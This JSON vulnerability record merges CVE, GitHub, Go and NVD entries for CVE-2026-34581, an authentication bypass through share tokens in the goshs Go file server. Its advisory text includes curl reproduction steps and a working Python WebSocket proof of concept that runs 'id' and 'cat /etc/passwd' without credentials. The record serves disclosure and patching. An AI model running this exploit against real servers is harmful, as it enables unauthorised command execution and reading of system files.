{"id":"CVE-2026-34581","aliases":["CVE-2026-34581","GHSA-jgfx-74g2-9r6g","GO-2026-5469"],"related":[],"kind":"vulnerability","state":"published","title":"goshs has Auth Bypass via Share Token","summary":"goshs is a SimpleHTTPServer written in Go. From version 1.1.0 to before version 2.0.0-beta.2, when using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec. This issue has been patched in version 2.0.0-beta.2.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"goshs is a SimpleHTTPServer written in Go. From version 1.1.0 to before version 2.0.0-beta.2, when using the Share Token it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec. This issue has been patched in version 2.0.0-beta.2.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen using the `Share Token` it is possible to bypass the limited selected file download with all the gosh functionalities, including code exec.\n\n### Details\n\nThe `BasicAuthMiddleware` checks for a `?token=` parameter **before** checking credentials. If the token exists in `SharedLinks`, the request passes through with **no auth check at all**. The handler then processes all query parameters — including `?ws` (WebSocket) which has higher priority than `?token`.\n\n```go\n// middleware.go:22-30 — token check runs FIRST\ntoken := r.URL.Query().Get(\"token\")\nif token != \"\" {\n    _, ok := fs.SharedLinks[token]\n    if ok {\n        next.ServeHTTP(w, r)  // Full auth bypass\n        return\n    }\n}\n// ... normal auth checks never reached\n```\n\nA share token is designed for **single-file, time-limited downloads**. But the middleware bypass grants access to everything — directory listing, file deletion, clipboard, WebSocket, and CLI command execution.\n\n\n**1. Create a webroot:**\n\n```bash\nmkdir -p /tmp/goshs-webroot\necho \"shareable file\" > /tmp/goshs-webroot/shareable.txt\n```\n\n**2. Start goshs with auth + TLS + CLI mode:**\n\n```bash\n/tmp/goshs-test -d /tmp/goshs-webroot -b 'admin:password' -s -ss -c -p 8000\n```\n\n> CLI mode requires auth (`-b`) and TLS (`-s -ss`). This is the documented usage — not a weakened config.\n\n**3. Verify authentication is required:**\n\n```bash\ncurl -sk https://localhost:8000/\nNot authorized\n```\n\n**4. As a legitimate user, create a share link:**\n\n```bash\ncurl -sk -u admin:password 'https://localhost:8000/shareable.txt?share'\n```\n\nResponse:\n```json\n{\"urls\":[\"https://127.0.0.1:8000/shareable.txt?token=gMP-w0hXRs-Q-FEZku63kA\"]}\n```\n\nSave the token value (e.g., `gMP-w0hXRs-Q-FEZku63kA`).\n\n**5. Prove the token bypasses auth for WebSocket:**\n\n```bash\n# Without token → 401 (blocked)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n  -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  'https://localhost:8000/?ws'\n# 401\n\n# With token → 101 Switching Protocols (auth bypassed!)\ncurl -sk -o /dev/null -w \"%{http_code}\" \\\n  -H \"Connection: Upgrade\" -H \"Upgrade: websocket\" \\\n  -H \"Sec-WebSocket-Version: 13\" -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  'https://localhost:8000/?ws&token=gMP-w0hXRs-Q-FEZku63kA'\n# 101\n```\n\nFor a Full PoC, you can run the python file attached below, it will run `id` and `cat /etc/passwd`.\n\n\n\n\n### PoC\n\n``` python\nimport json, ssl, websocket\n\nTOKEN = \"gMP-w0hXRs-Q-FEZku63kA\"  # ← replace with your token\n\nws = websocket.create_connection(\n    f\"wss://localhost:8000/?ws&token={TOKEN}\",\n    sslopt={\"cert_reqs\": ssl.CERT_NONE},\n)\nprint(\"[+] Connected WITHOUT credentials!\")\n\n# Execute 'id'\nws.send('{\"type\":\"command\",\"Content\":\"id\"}')\nimport time; time.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp['content']}\")\n# uid=501(youruser) gid=20(staff) ...\n\n# Execute 'cat /etc/passwd'\nws.send('{\"type\":\"command\",\"Content\":\"cat /etc/passwd\"}')\ntime.sleep(1)\nresp = json.loads(ws.recv())\nprint(f\"Output: {resp['content']}\")\n\nws.close()\n```\nA patch is available at https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2.","format":"markdown","source":"ghsa"},{"lang":"en","text":"goshs has Auth Bypass via Share Token in github.com/patrickhener/goshs","format":"markdown","source":"go"},{"lang":"es","text":"goshs es un servidor HTTP simple escrito en Go. Desde la versión 1.1.0 hasta antes de la versión 2.0.0-beta.2, al usar el Token de Compartir es posible eludir la descarga limitada de archivos seleccionados con todas las funcionalidades de gosh, incluyendo la ejecución de código. Este problema ha sido parcheado en la versión 2.0.0-beta.2.","source":"nvd"}],"published":"2026-04-01T20:58:48.000Z","modified":"2026-07-24T21:10:00.143Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"}],"cwes":["CWE-288"],"affected":[{"ranges":[{"version":">= 1.1.0, < 2.0.0-beta.2","status":"affected"}],"vendor":"patrickhener","product":"goshs","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"1.1.0","status":"affected"}],"ecosystem":"Go","package":"github.com/patrickhener/goshs","purl":"pkg:golang/github.com/patrickhener/goshs","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"1.1.0","status":"affected"}],"ecosystem":"Go","package":"github.com/patrickhener/goshs","purl":"pkg:golang/github.com/patrickhener/goshs","source":"go"},{"ranges":[{"status":"affected","introduced":"1.1.0","fixed":"2.0.0"},{"status":"affected","version":"2.0.0"}],"vendor":"goshs","product":"goshs","cpe":"cpe:2.3:a:goshs:goshs:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/patrickhener/goshs/security/advisories/GHSA-jgfx-74g2-9r6g","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/patrickhener/goshs/commit/6fb224ed15c2ccc0c61a5ebe22f2401eb06e9216","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/patrickhener/goshs/releases/tag/v2.0.0-beta.2","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34581","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/patrickhener/goshs","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-04-03T16:19:09.570Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-34581","url":"https://www.cve.org/CVERecord?id=CVE-2026-34581","licence":"CVE Terms of Use","modified":"2026-04-03T17:01:54.432Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jgfx-74g2-9r6g","url":"https://github.com/advisories/GHSA-jgfx-74g2-9r6g","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:42.287Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5469","url":"https://pkg.go.dev/vuln/GO-2026-5469","licence":"CC-BY-4.0","modified":"2026-06-25T23:01:17.150Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-34581","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34581","licence":"Public domain","modified":"2026-07-24T21:10:00.143Z"}],"updatedAt":"2026-11-25T22:59:17.837Z","epss":{"score":0.00458,"percentile":0.4143,"date":"2026-12-01T12:00:22.000Z"}}